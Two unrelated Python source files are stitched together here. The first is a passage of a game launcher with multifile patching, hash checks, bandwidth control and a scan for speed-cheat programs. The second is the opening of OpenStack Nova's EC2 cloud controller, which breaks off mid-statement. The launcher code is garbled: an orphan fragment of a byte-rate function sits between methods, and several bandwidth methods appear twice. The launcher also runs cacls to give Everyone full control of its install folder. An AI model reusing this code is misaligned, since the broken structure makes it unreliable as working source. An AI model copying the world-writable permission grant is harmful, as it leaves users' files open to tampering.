self.currentPatchee + ' from ver: ' + `(self.currentPatchVersion)`) patchFile = Filename(self.patchDir, Filename(self.currentPatch)) patchFile.setBinary() patchee = Filename(self.mfDir, Filename(self.currentPatchee)) patchee.setBinary() self.patch(patchFile, patchee, self.downloadPatches) def patchDone(self): self.notify.info('patchDone: Patch successful') del self.currentPatch del self.currentPatchee del self.currentPatchVersion decompressedMfname = os.path.splitext(self.currentMfname)[0] localFilename = Filename(self.mfDir, Filename(decompressedMfname)) destDir = Filename(self.topDir) self.extract(self.currentMfname, localFilename, destDir, self.updateMultifileDone) def startReextractingFiles(self): self.notify.info('startReextractingFiles: Reextracting ' + `(len(self.reextractList))` + ' files for multifile: ' + self.currentMfname) self.launcherMessage(self.Localizer.LauncherRecoverFiles) self.currentMfile = Multifile() decompressedMfname = os.path.splitext(self.currentMfname)[0] self.currentMfile.openRead(Filename(self.mfDir, Filename(decompressedMfname))) self.reextractNextFile() def reextractNextFile(self): failure = 0 while not failure and len(self.reextractList) > 0: currentReextractFile = self.reextractList.pop() subfileIndex = self.currentMfile.findSubfile(currentReextractFile) if subfileIndex >= 0: destFilename = Filename(self.topDir, Filename(currentReextractFile)) result = self.currentMfile.extractSubfile(subfileIndex, destFilename) if not result: self.notify.warning('reextractNextFile: Failure on reextract.') failure = 1 else: self.notify.warning('reextractNextFile: File not found in multifile: ' + `currentReextractFile`) failure = 1 if failure: sys.exit() self.notify.info('reextractNextFile: Done reextracting files for multifile: ' + `(self.currentPhase)`) del self.currentMfile self.updateMultifileDone() def patchMultifile(self): self.launcherMessage(self.Localizer.LauncherCheckUpdates % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) self.notify.info('patchMultifile: Checking for patches on multifile: ' + self.currentMfname) self.patchList = [] clientMd5 = HashVal() decompressedMfname = os.path.splitext(self.currentMfname)[0] localFilename = Filename(self.mfDir, Filename(decompressedMfname)) clientMd5.hashFile(localFilename) clientVer = self.dldb.getVersion(Filename(decompressedMfname), clientMd5) if clientVer == 1: self.patchAndHash() return elif clientVer == -1: self.notify.info('patchMultifile: Invalid hash for file: ' + self.currentMfname) self.maybeStartGame() if self.curMultifileRetry < self.multifileRetries: self.notify.info('recover attempt: %s / %s' % (self.curMultifileRetry, self.multifileRetries)) self.curMultifileRetry += 1 self.notify.info('patchMultifile: Restarting download with newest multifile') self.dldb.setClientMultifileIncomplete(self.currentMfname) self.dldb.setClientMultifileSize(self.currentMfname, 0) self.getMultifile(self.currentMfname) else: self.setPandaErrorCode(6) self.notify.info('patchMultifile: Failed to download multifile') sys.exit() return elif clientVer > 1: self.notify.info('patchMultifile: Old version for multifile: ' + self.currentMfname + ' Client ver: ' + `clientVer`) self.maybeStartGame() self.totalPatchDownload = 0 self.patchDownloadSoFar = 0 for ver in xrange(1, clientVer): patch = self.getPatchFilename(decompressedMfname, ver + 1) patchee = decompressedMfname patchVersion = ver + 1 self.patchList.append((patch, patchee, patchVersion)) if self.currentPhase == 3: self.totalPatchDownload += self.getProgressSum(patch) self.notify.info('total patch to be downloaded = ' + `(self.totalPatchDownload)`) self.downloadPatches() return def patchAndHash(self): self.reextractList = [] self.PAHClean = 1 self.PAHNumFiles = self.dldb.getServerNumFiles(self.currentMfname) self.PAHFileCounter = 0 if self.PAHNumFiles > 0: task = MiniTask(self.patchAndHashTask) task.cleanCallback = self.updateMultifileDone task.uncleanCallback = self.startReextractingFiles self._addMiniTask(task, 'patchAndHash') else: self.updateMultifileDone() def patchAndHashTask(self, task): self.launcherMessage(self.Localizer.LauncherVerifyPhase) if self.PAHFileCounter == self.PAHNumFiles: if self.PAHClean: task.cleanCallback() else: task.uncleanCallback() return task.done else: i = self.PAHFileCounter self.PAHFileCounter += 1 fname = self.dldb.getServerFileName(self.currentMfname, i) fnameFilename = Filename(self.topDir, Filename(fname)) if not os.path.exists(fnameFilename.toOsSpecific()): self.notify.info('patchAndHash: File not found: ' + fname) self.reextractList.append(fname) self.PAHClean = 0 return task.cont if self.VerifyFiles and self.dldb.hasVersion(Filename(fname)): clientMd5 = HashVal() clientMd5.hashFile(fnameFilename) clientVer = self.dldb.getVersion(Filename(fname), clientMd5) if clientVer == 1: return task.cont else: self.notify.info('patchAndHash: Invalid hash for file: ' + fname) self.reextractList.append(fname) self.PAHClean = 0 return task.cont def launcherMessage(self, msg): if msg != self.lastLauncherMsg: self.lastLauncherMsg = msg self.notify.info(msg) def isTestServer(self): return self.testServerFlag def recordPeriodTimeRemaining(self, secondsRemaining): self.setValue(self.PeriodTimeRemainingKey, int(secondsRemaining)) def recordPeriodName(self, periodName): self.setValue(self.PeriodNameKey, periodName) def recordSwid(self, swid): self.setValue(self.SwidKey, swid) def getGoUserName(self): return self.goUserName def setGoUserName(self, userName): self.goUserName = userName def getInstallDir(self): return self.topDir.cStr() def setPandaWindowOpen(self): self.setValue(self.PandaWindowOpenKey, 1) def setPandaErrorCode(self, code): self.notify.info('setting panda error code to %s' % code) self.pandaErrorCode = code errorLog = open(self.errorfile, 'w') errorLog.write(str(code) + '\n') errorLog.flush() errorLog.close() def getPandaErrorCode(self): return self.pandaErrorCode def setDisconnectDetailsNormal(self): self.notify.info('Setting Disconnect Details normal') self.disconnectCode = 0 self.disconnectMsg = 'normal' def setDisconnectDetails(self, newCode, newMsg): self.notify.info('New Disconnect Details: %s - %s ' % (newCode, newMsg)) self.disconnectCode = newCode self.disconnectMsg = newMsg def setServerVersion(self, version): self.ServerVersion = version def getServerVersion(self): return self.ServerVersion def getIsNewInstallation(self): result = self.getValue(self.NewInstallationKey, 1) result = base.config.GetBool('new-installation', result) return result def setIsNotNewInstallation(self): self.setValue(self.NewInstallationKey, 0) def getLastLogin(self): return self.getValue(self.LastLoginKey, '') def setLastLogin(self, login): self.setValue(self.LastLoginKey, login) def setUserLoggedIn(self): self.setValue(self.UserLoggedInKey, '1') def setPaidUserLoggedIn(self): self.setValue(self.PaidUserLoggedInKey, '1') def getReferrerCode(self): return self.getValue(self.ReferrerKey, None) def getPhaseComplete(self, phase): percentDone = self.phaseComplete[phase] return percentDone == 100 def setPercentPhaseComplete(self, phase, percent): self.notify.info('phase updating %s, %s' % (phase, percent)) oldPercent = self.phaseComplete[phase] if oldPercent != percent: self.phaseComplete[phase] = percent messenger.send('launcherPercentPhaseComplete', [phase, percent, self.getBandwidth(), self.byteRate]) percentPhaseCompleteKey = 'PERCENT_PHASE_COMPLETE_' + `phase` self.setRegistry(percentPhaseCompleteKey, percent) self.overallComplete = int(round(percent * self.phaseOverallMap[phase])) + self.progressSoFar self.setRegistry('PERCENT_OVERALL_COMPLETE', self.overallComplete) def getPercentPhaseComplete(self, phase): return self.phaseComplete[phase] dr = finalRequested - startRequested if dt <= 0.0: return -1 self.byteRate = db / dt self.byteRateRequested = dr / dt return self.byteRate def addPhasePostProcess(self, phase, func, taskChain = 'default'): if self.getPhaseComplete(phase): func() return self.acceptOnce('phaseComplete-%s' % phase, func) def testBandwidth(self): self.recordBytesPerSecond() byteRate = self.getBytesPerSecond() if byteRate < 0: return if byteRate >= self.getBandwidth() * self.INCREASE_THRESHOLD: self.increaseBandwidth(byteRate) elif byteRate < self.byteRateRequested * self.DECREASE_THRESHOLD: self.decreaseBandwidth(byteRate) def getBandwidth(self): if self.backgrounded: bandwidth = self.BANDWIDTH_ARRAY[self.bandwidthIndex] - self.TELEMETRY_BANDWIDTH else: bandwidth = self.BANDWIDTH_ARRAY[self.bandwidthIndex] if self.MAX_BANDWIDTH > 0: bandwidth = min(bandwidth, self.MAX_BANDWIDTH) return bandwidth def increaseBandwidth(self, targetBandwidth = None): maxBandwidthIndex = len(self.BANDWIDTH_ARRAY) - 1 if self.bandwidthIndex == maxBandwidthIndex: self.notify.debug('increaseBandwidth: Already at maximum bandwidth') return 0 self.bandwidthIndex += 1 self.everIncreasedBandwidth = 1 self.setBandwidth() return 1 def decreaseBandwidth(self, targetBandwidth = None): if not self.DECREASE_BANDWIDTH: return 0 if self.backgrounded and self.everIncreasedBandwidth: return 0 if self.bandwidthIndex == 0: return 0 else: self.bandwidthIndex -= 1 if targetBandwidth: while self.bandwidthIndex > 0 and self.BANDWIDTH_ARRAY[self.bandwidthIndex] > targetBandwidth: self.bandwidthIndex -= 1 self.setBandwidth() return 1 def setBandwidth(self): self.resetBytesPerSecond() self.httpChannel.setMaxBytesPerSecond(self.getBandwidth()) def resetBytesPerSecond(self): self.bpsList = [] def recordBytesPerSecond(self): bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesRequested = self.httpChannel.getBytesRequested() t = self.getTime() self.bpsList.append((t, bytesDownloaded, bytesRequested)) while 1: if len(self.bpsList) == 0: break ft, fb, fr = self.bpsList[0] if ft < t-self.BPS_WINDOW: self.bpsList.pop(0) else: break def getBytesPerSecond(self): if len(self.bpsList) < 2: return -1 startTime, startBytes, startRequested = self.bpsList[0] finalTime, finalBytes, finalRequested = self.bpsList[-1] dt = finalTime - startTime db = finalBytes - startBytes dr = finalRequested - startRequested if dt <= 0.0: return -1 self.byteRate = db / dt self.byteRateRequested = dr / dt return self.byteRate def testBandwidth(self): self.recordBytesPerSecond() byteRate = self.getBytesPerSecond() if byteRate < 0: return if byteRate >= self.getBandwidth() * self.INCREASE_THRESHOLD: self.increaseBandwidth(byteRate) elif byteRate < self.byteRateRequested * self.DECREASE_THRESHOLD: self.decreaseBandwidth(byteRate) def getBandwidth(self): if self.backgrounded: bandwidth = self.BANDWIDTH_ARRAY[self.bandwidthIndex] - self.TELEMETRY_BANDWIDTH else: bandwidth = self.BANDWIDTH_ARRAY[self.bandwidthIndex] if self.MAX_BANDWIDTH > 0: bandwidth = min(bandwidth, self.MAX_BANDWIDTH) return bandwidth def increaseBandwidth(self, targetBandwidth = None): maxBandwidthIndex = len(self.BANDWIDTH_ARRAY) - 1 if self.bandwidthIndex == maxBandwidthIndex: return 0 self.bandwidthIndex += 1 self.everIncreasedBandwidth = 1 self.setBandwidth() return 1 def decreaseBandwidth(self, targetBandwidth = None): if not self.DECREASE_BANDWIDTH: return 0 if self.backgrounded and self.everIncreasedBandwidth: return 0 if self.bandwidthIndex == 0: return 0 else: self.bandwidthIndex -= 1 if targetBandwidth: while self.bandwidthIndex > 0 and self.BANDWIDTH_ARRAY[self.bandwidthIndex] > targetBandwidth: self.bandwidthIndex -= 1 self.setBandwidth() return 1 def setBandwidth(self): self.resetBytesPerSecond() self.httpChannel.setMaxBytesPerSecond(self.getBandwidth()) def MakeNTFSFilesGlobalWriteable(self, pathToSet = None): if not self.WIN32: return import win32api if pathToSet == None: pathToSet = self.getInstallDir() else: pathToSet = pathToSet.cStr() + '*' DrivePath = pathToSet[0:3] try: volname, volsernum, maxfilenamlen, sysflags, filesystemtype = win32api.GetVolumeInformation(DrivePath) except: return if self.win32con_FILE_PERSISTENT_ACLS & sysflags: self.notify.info('NTFS detected, making files global writeable\n') win32dir = win32api.GetWindowsDirectory() cmdLine = win32dir + '\\system32\\cacls.exe "' + pathToSet + '" /T /E /C /G Everyone:F > nul' os.system(cmdLine) return def cleanup(self): self.notify.info('cleanup: cleaning up Launcher') self.ignoreAll() del self.clock del self.dldb del self.httpChannel del self.http def scanForHacks(self): if not self.WIN32: return import _winreg hacksInstalled = {} hacksRunning = {} hackName = ['!xSpeed.net', 'A Speeder', 'Speed Gear'] knownHacksRegistryKeys = { hackName[0] : [ [_winreg.HKEY_LOCAL_MACHINE, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run\\!xSpeed'], [_winreg.HKEY_CURRENT_USER, 'Software\\!xSpeednethy'], [_winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MenuOrder\\Start Menu\\Programs\\!xSpeednet'], [_winreg.HKEY_LOCAL_MACHINE, 'Software\\Gentee\\Paths\\!xSpeednet'], [_winreg.HKEY_LOCAL_MACHINE, 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\!xSpeed.net 2.0']], hackName[1] : [ [_winreg.HKEY_CURRENT_USER, 'Software\\aspeeder'], [_winreg.HKEY_LOCAL_MACHINE, 'Software\\aspeeder'], [_winreg.HKEY_LOCAL_MACHINE, 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\aspeeder']] } try: for prog in knownHacksRegistryKeys.keys(): for key in knownHacksRegistryKeys[prog]: try: h = _winreg.OpenKey(key[0], key[1]) hacksInstalled[prog] = 1 _winreg.CloseKey(h) break except: pass except: pass knownHacksMUI = {'!xspeednet': hackName[0], 'aspeeder': hackName[1], 'speed gear': hackName[2]} i = 0 try: rh = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache') while 1: name, value, type = _winreg.EnumValue(rh, i) i += 1 if type == 1: val = value.lower() for hackprog in knownHacksMUI: if val.find(hackprog) != -1: hacksInstalled[knownHacksMUI[hackprog]] = 1 break _winreg.CloseKey(rh) except: pass try: import otp.launcher.procapi except: pass else: knownHacksExe = {'!xspeednet.exe': hackName[0], 'aspeeder.exe': hackName[1], 'speedgear.exe': hackName[2]} try: for p in procapi.getProcessList(): pname = p.name if pname in knownHacksExe: hacksRunning[knownHacksExe[pname]] = 1 except: pass if len(hacksInstalled) > 0: self.notify.info("Third party programs installed:") for hack in hacksInstalled.keys(): self.notify.info(hack) if len(hacksRunning) > 0: self.notify.info("Third party programs running:") for hack in hacksRunning.keys(): self.notify.info(hack) self.setPandaErrorCode(8) sys.exit() def getBlue(self): return None def getPlayToken(self): return None def getDISLToken(self): DISLToken = self.getValue(self.DISLTokenKey) self.setValue(self.DISLTokenKey, '') if DISLToken == 'NO DISLTOKEN': DISLToken = None return DISLToken
codeparrot/github-code-clean
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Cloud Controller: Implementation of EC2 REST API calls, which are dispatched to other nodes via AMQP RPC. State is via distributed datastore. """ import base64 import time from oslo.config import cfg from nova.api.ec2 import ec2utils from nova.api.ec2 import inst_state from nova.api.metadata import password from nova.api import validator from nova import availability_zones from nova import block_device from nova.cloudpipe import pipelib from nova import compute from nova.compute import api as compute_api from nova.compute import flavors from nova.compute import vm_states from nova import db from nova import exception from nova.image import s3 from nova import network from nova.network.security_group import neutron_driver from nova.objects import instance as instance_obj from nova.openstack.common.gettextutils import _ from nova.openstack.common import log as logging from nova.openstack.common import timeutils from nova import quota from nova import servicegroup from nova import utils from nova import volume ec2_opts = [ cfg.StrOpt('ec2_host', default='$my_ip', help='the ip of the ec2 api server'), cfg.StrOpt('ec2_dmz_host', default='$my_ip', help='the internal ip of the ec2 api server'), cfg.IntOpt('ec2_port', default=8773, help='the port of the ec2 api server'), cfg.StrOpt('ec2_scheme', default='http', help='the protocol to use when connecting to the ec2 api ' 'server (http, https)'), cfg.StrOpt('ec2_path', default='/services/Cloud', help='the path prefix used to call the ec2 api server'), cfg.ListOpt('region_list', default=[], help='list of region=fqdn pairs separated by commas'), ] CONF = cfg.CONF CONF.register_opts(ec2_opts) CONF.import_opt('my_ip', 'nova.netconf') CONF.import_opt('vpn_key_suffix', 'nova.cloudpipe.pipelib') CONF.import_opt('internal_service_availability_zone', 'nova.availability_zones') LOG = logging.getLogger(__name__) QUOTAS = quota.QUOTAS def validate_ec2_id(val): if not validator.validate_str()(val): raise exception.InvalidInstanceIDMalformed(val=val) try: ec2utils.ec2_id_to_id(val) except exception.InvalidEc2Id: raise exception.InvalidInstanceIDMalformed(val=val) # EC2 API can return the following values as documented in the EC2 API # http://docs.amazonwebservices.com/AWSEC2/latest/APIReference/ # ApiReference-ItemType-InstanceStateType.html # pending 0 | running 16 | shutting-down 32 | terminated 48 | stopping 64 | # stopped 80 _STATE_DESCRIPTION_MAP = { None: inst_state.PENDING, vm_states.ACTIVE: inst_state.RUNNING, vm_states.BUILDING: inst_state.PENDING, vm_states.DELETED: inst_state.TERMINATED, vm_states.SOFT_DELETED: inst_state.TERMINATED, vm_states.STOPPED: inst_state.STOPPED, vm_states.PAUSED: inst_state.PAUSE, vm_states.SUSPENDED: inst_state.SUSPEND, vm_states.RESCUED: inst_state.RESCUE, vm_states.RESIZED: inst_state.RESIZE, } def _state_description(vm_state, _shutdown_terminate): """Map the vm state to the server status string.""" # Note(maoy): We do not provide EC2 compatibility # in shutdown_terminate flag behavior. So we ignore # it here. name = _STATE_DESCRIPTION_MAP.get(vm_state, vm_state) return {'code': inst_state.name_to_code(name), 'name': name} def _parse_block_device_mapping(bdm): """Parse BlockDeviceMappingItemType into flat hash BlockDevicedMapping.<N>.DeviceName BlockDevicedMapping.<N>.Ebs.SnapshotId BlockDevicedMapping.<N>.Ebs.VolumeSize BlockDevicedMapping.<N>.Ebs.DeleteOnTermination BlockDevicedMapping.<N>.Ebs.NoDevice BlockDevicedMapping.<N>.VirtualName => remove .Ebs and allow volume id in SnapshotId """ ebs = bdm.pop('ebs', None) if ebs: ec2_id = ebs.pop('snapshot_id', None) if ec2_id: if ec2_id.startswith('snap-'): bdm['snapshot_id'] = ec2utils.ec2_snap_id_to_uuid(ec2_id) elif ec2_id.startswith('vol-'): bdm['volume_id'] = ec2utils.ec2_vol_id_to_uuid(ec2_id) ebs.setdefault('delete_on_termination', True) bdm.update(ebs) return bdm def _properties_get_mappings(properties): return block_device.mappings_prepend_dev(properties.get('mappings', [])) def _format_block_device_mapping(bdm): """Construct BlockDeviceMappingItemType {'device_name': '...', 'snapshot_id': , ...} => BlockDeviceMappingItemType """ keys = (('deviceName', 'device_name'), ('virtualName', 'virtual_name')) item = {} for name, k in keys: if k in bdm: item[name] = bdm[k] if bdm.get('no_device'): item['noDevice'] = True if ('snapshot_id' in bdm) or ('volume_id' in bdm): ebs_keys = (('snapshotId', 'snapshot_id'), ('snapshotId', 'volume_id'), # snapshotId is abused ('volumeSize', 'volume_size'), ('deleteOnTermination', 'delete_on_termination')) ebs = {} for name, k in ebs_keys: if k in bdm: if k == 'snapshot_id': ebs[name] = ec2utils.id_to_ec2_snap_id(bdm[k]) elif k == 'volume_id': ebs[name] = ec2utils.id_to_ec2_vol_id(bdm[k]) else: ebs[name] = bdm[k] assert 'snapshotId' in ebs item['ebs'] = ebs return item def _format_mappings(properties, result): """Format multiple BlockDeviceMappingItemType.""" mappings = [{'virtualName': m['virtual'], 'deviceName': m['device']} for m in _properties_get_mappings(properties) if block_device.is_swap_or_ephemeral(m['virtual'])] block_device_mapping = [_format_block_device_mapping(bdm) for bdm in properties.get('block_device_mapping', [])] # NOTE(yamahata): overwrite mappings with block_device_mapping for bdm in block_device_mapping: for i in range(len(mappings)): if bdm['deviceName'] == mappings[i]['deviceName']: del mappings[i] break mappings.append(bdm) # NOTE(yamahata): trim ebs.no_device == true. Is this necessary? mappings = [bdm for bdm in mappings if not (bdm.get('noDevice', False))] if mappings: result['blockDeviceMapping'] = mappings def db_to_inst_obj(context, db_instance): # NOTE(danms): This is a temporary helper method for converting # Instance DB objects to NovaObjects without needing to re-query. inst_obj = instance_obj.Instance._from_db_object( context, instance_obj.Instance(), db_instance, expected_attrs=['system_metadata', 'metadata']) return inst_obj class CloudController(object): """CloudController provides the critical dispatch between inbound API calls through the endpoint and messages sent to the other nodes. """ def __init__(self): self.image_service = s3.S3ImageService() self.network_api = network.API() self.volume_api = volume.API() self.security_group_api = get_cloud_security_group_api() self.compute_api = compute.API(network_api=self.network_api, volume_api=self.volume_api, security_group_api=self.security_group_api) self.keypair_api = compute_api.KeypairAPI() self.servicegroup_api = servicegroup.API() def __str__(self): return 'CloudController' def _enforce_valid_instance_ids(self, context, instance_ids): # NOTE(mikal): Amazon's implementation of the EC2 API requires that # _all_ instance ids passed in be valid. instances = {} if instance_ids: for ec2_id in instance_ids: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) instances[ec2_id] = instance return instances def _get_image_state(self, image): # NOTE(vish): fallback status if image_state isn't set state = image.get('status') if state == 'active': state = 'available' return image['properties'].get('image_state', state) def describe_availability_zones(self, context, **kwargs): if ('zone_name' in kwargs and 'verbose' in kwargs['zone_name'] and context.is_admin): return self._describe_availability_zones_verbose(context, **kwargs) else: return self._describe_availability_zones(context, **kwargs) def _describe_availability_zones(self, context, **kwargs): ctxt = context.elevated() available_zones, not_available_zones = \ availability_zones.get_availability_zones(ctxt) result = [] for zone in available_zones: # Hide internal_service_availability_zone if zone == CONF.internal_service_availability_zone: continue result.append({'zoneName': zone, 'zoneState': "available"}) for zone in not_available_zones: result.append({'zoneName': zone, 'zoneState': "not available"}) return {'availabilityZoneInfo': result} def _describe_availability_zones_verbose(self, context, **kwargs): ctxt = context.elevated() available_zones, not_available_zones = \ availability_zones.get_availability_zones(ctxt) # Available services enabled_services = db.service_get_all(context, False) enabled_services = availability_zones.set_availability_zones(context, enabled_services) zone_hosts = {} host_services = {} for service in enabled_services: zone_hosts.setdefault(service['availability_zone'], []) if service['host'] not in zone_hosts[service['availability_zone']]: zone_hosts[service['availability_zone']].append( service['host']) host_services.setdefault(service['availability_zone'] + service['host'], []) host_services[service['availability_zone'] + service['host']].\ append(service) result = [] for zone in available_zones: result.append({'zoneName': zone, 'zoneState': "available"}) for host in zone_hosts[zone]: result.append({'zoneName': '|- %s' % host, 'zoneState': ''}) for service in host_services[zone + host]: alive = self.servicegroup_api.service_is_up(service) art = (alive and ":-)") or "XXX" active = 'enabled' if service['disabled']: active = 'disabled' result.append({'zoneName': '| |- %s' % service['binary'], 'zoneState': ('%s %s %s' % (active, art, service['updated_at']))}) for zone in not_available_zones: result.append({'zoneName': zone, 'zoneState': "not available"}) return {'availabilityZoneInfo': result} def describe_regions(self, context, region_name=None, **kwargs): if CONF.region_list: regions = [] for region in CONF.region_list: name, _sep, host = region.partition('=') endpoint = '%s://%s:%s%s' % (CONF.ec2_scheme, host, CONF.ec2_port, CONF.ec2_path) regions.append({'regionName': name, 'regionEndpoint': endpoint}) else: regions = [{'regionName': 'nova', 'regionEndpoint': '%s://%s:%s%s' % (CONF.ec2_scheme, CONF.ec2_host, CONF.ec2_port, CONF.ec2_path)}] return {'regionInfo': regions} def describe_snapshots(self, context, snapshot_id=None, owner=None, restorable_by=None, **kwargs): if snapshot_id: snapshots = [] for ec2_id in snapshot_id: internal_id = ec2utils.ec2_snap_id_to_uuid(ec2_id) snapshot = self.volume_api.get_snapshot( context, snapshot_id=internal_id) snapshots.append(snapshot) else: snapshots = self.volume_api.get_all_snapshots(context) formatted_snapshots = [] for s in snapshots: formatted = self._format_snapshot(context, s) if formatted: formatted_snapshots.append(formatted) return {'snapshotSet': formatted_snapshots} def _format_snapshot(self, context, snapshot): # NOTE(mikal): this is just a set of strings in cinder. If they # implement an enum, then we should move this code to use it. The # valid ec2 statuses are "pending", "completed", and "error". status_map = {'new': 'pending', 'creating': 'pending', 'available': 'completed', 'active': 'completed', 'deleting': 'pending', 'deleted': None, 'error': 'error'} mapped_status = status_map.get(snapshot['status'], snapshot['status']) if not mapped_status: return None s = {} s['snapshotId'] = ec2utils.id_to_ec2_snap_id(snapshot['id']) s['volumeId'] = ec2utils.id_to_ec2_vol_id(snapshot['volume_id']) s['status'] = mapped_status s['startTime'] = snapshot['created_at'] s['progress'] = snapshot['progress'] s['ownerId'] = snapshot['project_id'] s['volumeSize'] = snapshot['volume_size'] s['description'] = snapshot['display_description'] return s def create_snapshot(self, context, volume_id, **kwargs): validate_ec2_id(volume_id) LOG.audit(_("Create snapshot of volume %s"), volume_id, context=context) volume_id = ec2utils.ec2_vol_id_to_uuid(volume_id) args = (context, volume_id, kwargs.get('name'), kwargs.get('description')) if kwargs.get('force', False): snapshot = self.volume_api.create_snapshot_force(*args) else: snapshot = self.volume_api.create_snapshot(*args) db.ec2_snapshot_create(context, snapshot['id']) return self._format_snapshot(context, snapshot) def delete_snapshot(self, context, snapshot_id, **kwargs): snapshot_id = ec2utils.ec2_snap_id_to_uuid(snapshot_id) self.volume_api.delete_snapshot(context, snapshot_id) return True def describe_key_pairs(self, context, key_name=None, **kwargs): key_pairs = self.keypair_api.get_key_pairs(context, context.user_id) if key_name is not None: key_pairs = [x for x in key_pairs if x['name'] in key_name] #If looking for non existent key pair if key_name is not None and not key_pairs: msg = _('Could not find key pair(s): %s') % ','.join(key_name) raise exception.KeypairNotFound(message=msg) result = [] for key_pair in key_pairs: # filter out the vpn keys suffix = CONF.vpn_key_suffix if context.is_admin or not key_pair['name'].endswith(suffix): result.append({ 'keyName': key_pair['name'], 'keyFingerprint': key_pair['fingerprint'], }) return {'keySet': result} def create_key_pair(self, context, key_name, **kwargs): LOG.audit(_("Create key pair %s"), key_name, context=context) keypair, private_key = self.keypair_api.create_key_pair( context, context.user_id, key_name) return {'keyName': key_name, 'keyFingerprint': keypair['fingerprint'], 'keyMaterial': private_key} # TODO(vish): when context is no longer an object, pass it here def import_key_pair(self, context, key_name, public_key_material, **kwargs): LOG.audit(_("Import key %s"), key_name, context=context) public_key = base64.b64decode(public_key_material) keypair = self.keypair_api.import_key_pair(context, context.user_id, key_name, public_key) return {'keyName': key_name, 'keyFingerprint': keypair['fingerprint']} def delete_key_pair(self, context, key_name, **kwargs): LOG.audit(_("Delete key pair %s"), key_name, context=context) try: self.keypair_api.delete_key_pair(context, context.user_id, key_name) except exception.NotFound: # aws returns true even if the key doesn't exist pass return True def describe_security_groups(self, context, group_name=None, group_id=None, **kwargs): search_opts = ec2utils.search_opts_from_filters(kwargs.get('filter')) raw_groups = self.security_group_api.list(context, group_name, group_id, context.project_id, search_opts=search_opts) groups = [self._format_security_group(context, g) for g in raw_groups] return {'securityGroupInfo': list(sorted(groups, key=lambda k: (k['ownerId'], k['groupName'])))} def _format_security_group(self, context, group): g = {} g['groupDescription'] = group['description'] g['groupName'] = group['name'] g['ownerId'] = group['project_id'] g['ipPermissions'] = [] for rule in group['rules']: r = {} r['groups'] = [] r['ipRanges'] = [] if rule['group_id']: if rule.get('grantee_group'): source_group = rule['grantee_group'] r['groups'] += [{'groupName': source_group['name'], 'userId': source_group['project_id']}] else: # rule is not always joined with grantee_group # for example when using neutron driver. source_group = self.security_group_api.get( context, id=rule['group_id']) r['groups'] += [{'groupName': source_group.get('name'), 'userId': source_group.get('project_id')}] if rule['protocol']: r['ipProtocol'] = rule['protocol'].lower() r['fromPort'] = rule['from_port'] r['toPort'] = rule['to_port'] g['ipPermissions'] += [dict(r)] else: for protocol, min_port, max_port in (('icmp', -1, -1), ('tcp', 1, 65535), ('udp', 1, 65535)): r['ipProtocol'] = protocol r['fromPort'] = min_port r['toPort'] = max_port g['ipPermissions'] += [dict(r)] else: r['ipProtocol'] = rule['protocol'] r['fromPort'] = rule['from_port'] r['toPort'] = rule['to_port'] r['ipRanges'] += [{'cidrIp': rule['cidr']}] g['ipPermissions'] += [r] return g def _rule_args_to_dict(self, context, kwargs): rules = [] if 'groups' not in kwargs and 'ip_ranges' not in kwargs: rule = self._rule_dict_last_step(context, **kwargs) if rule: rules.append(rule) return rules if 'ip_ranges' in kwargs: rules = self._cidr_args_split(kwargs) else: rules = [kwargs] finalset = [] for rule in rules: if 'groups' in rule: groups_values = self._groups_args_split(rule) for groups_value in groups_values: final = self._rule_dict_last_step(context, **groups_value) finalset.append(final) else: final = self._rule_dict_last_step(context, **rule) finalset.append(final) return finalset def _cidr_args_split(self, kwargs): cidr_args_split = [] cidrs = kwargs['ip_ranges'] for key, cidr in cidrs.iteritems(): mykwargs = kwargs.copy() del mykwargs['ip_ranges'] mykwargs['cidr_ip'] = cidr['cidr_ip'] cidr_args_split.append(mykwargs) return cidr_args_split def _groups_args_split(self, kwargs): groups_args_split = [] groups = kwargs['groups'] for key, group in groups.iteritems(): mykwargs = kwargs.copy() del mykwargs['groups'] if 'group_name' in group: mykwargs['source_security_group_name'] = group['group_name'] if 'user_id' in group: mykwargs['source_security_group_owner_id'] = group['user_id'] if 'group_id' in group: mykwargs['source_security_group_id'] = group['group_id'] groups_args_split.append(mykwargs) return groups_args_split def _rule_dict_last_step(self, context, to_port=None, from_port=None, ip_protocol=None, cidr_ip=None, user_id=None, source_security_group_name=None, source_security_group_owner_id=None): if source_security_group_name: source_project_id = self._get_source_project_id(context, source_security_group_owner_id) source_security_group = db.security_group_get_by_name( context.elevated(), source_project_id, source_security_group_name) notfound = exception.SecurityGroupNotFound if not source_security_group: raise notfound(security_group_id=source_security_group_name) group_id = source_security_group['id'] return self.security_group_api.new_group_ingress_rule( group_id, ip_protocol, from_port, to_port) else: cidr = self.security_group_api.parse_cidr(cidr_ip) return self.security_group_api.new_cidr_ingress_rule( cidr, ip_protocol, from_port, to_port) def _validate_group_identifier(self, group_name, group_id): if not group_name and not group_id: err = _("need group_name or group_id") raise exception.MissingParameter(reason=err) def _validate_rulevalues(self, rulesvalues): if not rulesvalues: err = _("can't build a valid rule") raise exception.MissingParameter(reason=err) def _validate_security_group_protocol(self, values): validprotocols = ['tcp', 'udp', 'icmp', '6', '17', '1'] if 'ip_protocol' in values and \ values['ip_protocol'] not in validprotocols: protocol = values['ip_protocol'] err = _("Invalid IP protocol %(protocol)s") % \ {'protocol': protocol} raise exception.InvalidParameterValue(message=err) def revoke_security_group_ingress(self, context, group_name=None, group_id=None, **kwargs): self._validate_group_identifier(group_name, group_id) security_group = self.security_group_api.get(context, group_name, group_id) prevalues = 